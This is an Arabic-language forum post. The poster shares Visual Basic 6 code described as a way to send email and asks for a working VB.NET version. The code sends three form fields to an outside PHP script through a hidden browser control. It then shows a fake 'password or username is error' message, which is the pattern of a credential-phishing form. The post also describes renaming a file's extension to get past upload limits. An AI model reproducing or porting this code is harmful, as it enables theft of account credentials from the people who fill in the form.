السلام عليكم
اخواني انظرو الي ذلك الكود
هذا كود لارسال رسالة الى الميل دون اى صعوبة
Public Sub Delay(HowLong As Date)
TempTime = DateAdd("s", HowLong, Now)
While TempTime > Now
DoEvents
Wend
End Sub
Private Sub Command1_Click()
WebBrowser1.Navigate "http://man-u.net/vb/send.php" + "?mail=" + Text1 + "&subject=" + Text2 + "&body=" + Text3
Delay 9
MsgBox "erorr: password or username is erorr"
End Sub
Private Sub Form_Load()
Text1.Text = ("youremail@hotmail.com")
End Sub
وطبعا لازم اكون ضفت الاداه
MICROSOFT INTERNET CONTROL) )
من المكونات
----------------------------------
لكن
لكن الكلام ده في الفيجوال بيزك 6
فهل استطيع ان اجد كود مثله يؤدي نفس العمل في الـ vb.net
ارجو ان اجده هنا لاني تعبت جدا وانا ابحث عنه
وياريت لو احد يرسله ملف مضغوط مجرب وشغال
وشكرا لكم
ملاحظة الكود في المرفقات وهو ملف تكست لكني غيرت امتداده الى zip لكي يسمح برفعه فقط قم بتغيير امتداده الى txt